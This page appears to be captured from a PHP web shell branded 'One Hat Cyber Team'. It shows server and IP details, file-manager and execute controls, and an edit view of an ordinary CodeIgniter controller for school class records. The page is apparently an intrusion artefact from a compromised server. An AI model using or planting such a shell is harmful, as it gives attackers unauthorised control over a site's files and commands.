⚝
One Hat Cyber Team
⚝
Your IP:
192.168.31.6
Server IP:
192.168.1.11
Server:
Linux pams 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
PHP Version:
8.2.28
Buat File
|
Buat Folder
Upload File
Eksekusi
Dir :
~
/
var
/
www
/
miu
/
modules
/
Isi
/
Controllers
/
Edit File: Isi.php
<?php namespace Modules\Isi\Controllers; use App\Controllers\BaseController; use Ramsey\Uuid\Uuid; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Xlsx; class Isi extends BaseController { public function index() { $data['title'] = 'Isi Kelas'; $data['li_1'] = 'Daftar Isi Kelas'; $data['body'] = 'Modules\Isi\Views\list'; $db = $this->db->table('isi')->select('isi.*, sp.nama as nm_lembaga, tp.nama as tp') ->join('sp', 'isi.id_sp = sp.id', 'inner') ->join('tp', 'isi.id_tp = tp.id', 'inner'); if(session()->has('id_sp') && session('id_sp') != '0'){ $db->where(['isi.id_sp' => session('id_sp')]); } $data['data'] = $db->get()->getResult();; return view('template', $data); } public function verifikasi() { $db = $this->db->table('sp'); $db->where(['id' => session('id_sp')]); $data['sp'] = $db->get()->getResult(); $data['tp'] = $this->db->table('tp')->where(['id_sp' => session('id_sp')])->get()->getResult(); // Validasi file yang diunggah $validationRule = [ 'upload' => [ 'label' => 'File Upload', 'rules' => 'uploaded[upload]|ext_in[upload,xls,xlsx]', 'errors' => [ 'uploaded' => 'Harus ada file yang diupload.', 'ext_in' => 'File harus berekstensi XLS atau XLSX.' ], ], ]; if (! $this->validate($validationRule)) { session()->setFlashData(gagal(form_error($this->validator->getErrors()))); return redirect()->to(base_url('isi')); } // Ambil file yang diunggah $file = $this->request->getFile('upload'); // Pastikan file berhasil diunggah dan tidak ada error if ($file->isValid() && ! $file->hasMoved()) { // Pindahkan file sementara ke lokasi yang bisa diakses oleh PhpSpreadsheet // Disarankan untuk memindahkan ke direktori writable, contoh: writable/uploads $newName = $file->getRandomName(); // Buat nama unik untuk file $file->move(WRITEPATH . 'uploads', $newName); // Pindahkan file $filePath = WRITEPATH . 'uploads/' . $newName; try { // Muat file spreadsheet menggunakan IOFactory $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($filePath); // Ambil sheet aktif $sheet = $spreadsheet->getActiveSheet(); // Konversi data sheet menjadi array // toArray() akan mengembalikan semua sel di sheet sebagai array 2D $dt = $sheet->toArray(); // Hapus file sementara setelah dibaca unlink($filePath); $data['title'] = 'Verifikasi Data'; $data['li_1'] = 'Verifikasi Data'; $data['body'] = 'Modules\Isi\Views\verifikasi'; $data['data'] = $dt; return view('template', $data); } catch (\PhpOffice\PhpSpreadsheet\Reader\Exception $e) { // Tangani error jika terjadi masalah saat membaca file session()->setFlashData(gagal($e->getMessage())); return redirect()->to(base_url('isi')); } } else { // Tangani jika ada masalah dengan proses upload session()->setFlashData(gagal($file->getErrorString())); return redirect()->to(base_url('isi')); } } public function add(){ $p = $this->request->getPost(); if($p['id_lembaga'] == '' || $p['id_lembaga'] == null){ session()->setFlashData(gagal("Pilih ID Lembaga Dulu")); return redirect('isi'); } if($p['tp'] == '' || $p['tp'] == null){ session()->setFlashData(gagal("Pilih ID Tahun Pelajaran Dulu")); return redirect('isi'); } $db = $this->db->table('isi'); $db->where(['id_sp' => $p['id_lembaga'], 'id_tp' => $p['tp']])->delete(); $insert = []; $input = FALSE; for($i=0; $i < count($p['isi']); $i++){ $input = TRUE; $id = Uuid::uuid4()->toString(); $insert[] = [ 'id' => $id, 'id_sp' => $p['id_lembaga'], 'id_tp' => $p['tp'], 'isi' => $p['isi'][$i], 'rombel' => $p['rombel'][$i], ]; } if($input){ $db->insertBatch($insert); } session()->setFlashData(success('Berhasil menambah '.count($insert).' Data ')); return redirect('isi'); } public function edit(){ $p = $this->request->getPost(); $rules = [ 'isi' => [ 'label' => 'Isi', 'rules' => 'required|max_length[10]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'max_length' => '{field} maksimal {param} karakter.', ], ], 'rombel' => [ 'label' => 'Isi', 'rules' => 'required|max_length[10]', 'errors' => [ 'required' => '{field} tidak boleh kosong.', 'max_length' => '{field} maksimal {param} karakter.', ], ], ]; if (! $this->validateData($p,$rules)) { session()->setFlashData(gagal(form_error($this->validator->getErrors()))); return redirect()->to(base_url('isi')); } $update = [ 'isi' => $p['isi'], 'rombel' => $p['rombel'], ]; if($this->db->table('isi')->where('id', $p['data_id'])->update($update)){ session()->setFlashData(success('Berhasil Menyimpan Data')); return redirect()->to(base_url('isi')); }else{ session()->setFlashData(gagal('Masalah Koneksi Database')); return redirect()->to(base_url('isi')); } } public function delete($id = null){ if($this->db->table('isi')->where('id', $id)->delete()){ session()->setFlashData(success('Berhasil Mengapus Data')); return redirect()->to(base_url('isi')); }else{ session()->setFlashData(gagal('Masalah Koneksi Database')); return redirect()->to(base_url('isi')); } } public function get($id = null){ $d = $this->db->table('isi')->where('id', $id)->get()->getRow(); return json_encode($d); } }
Simpan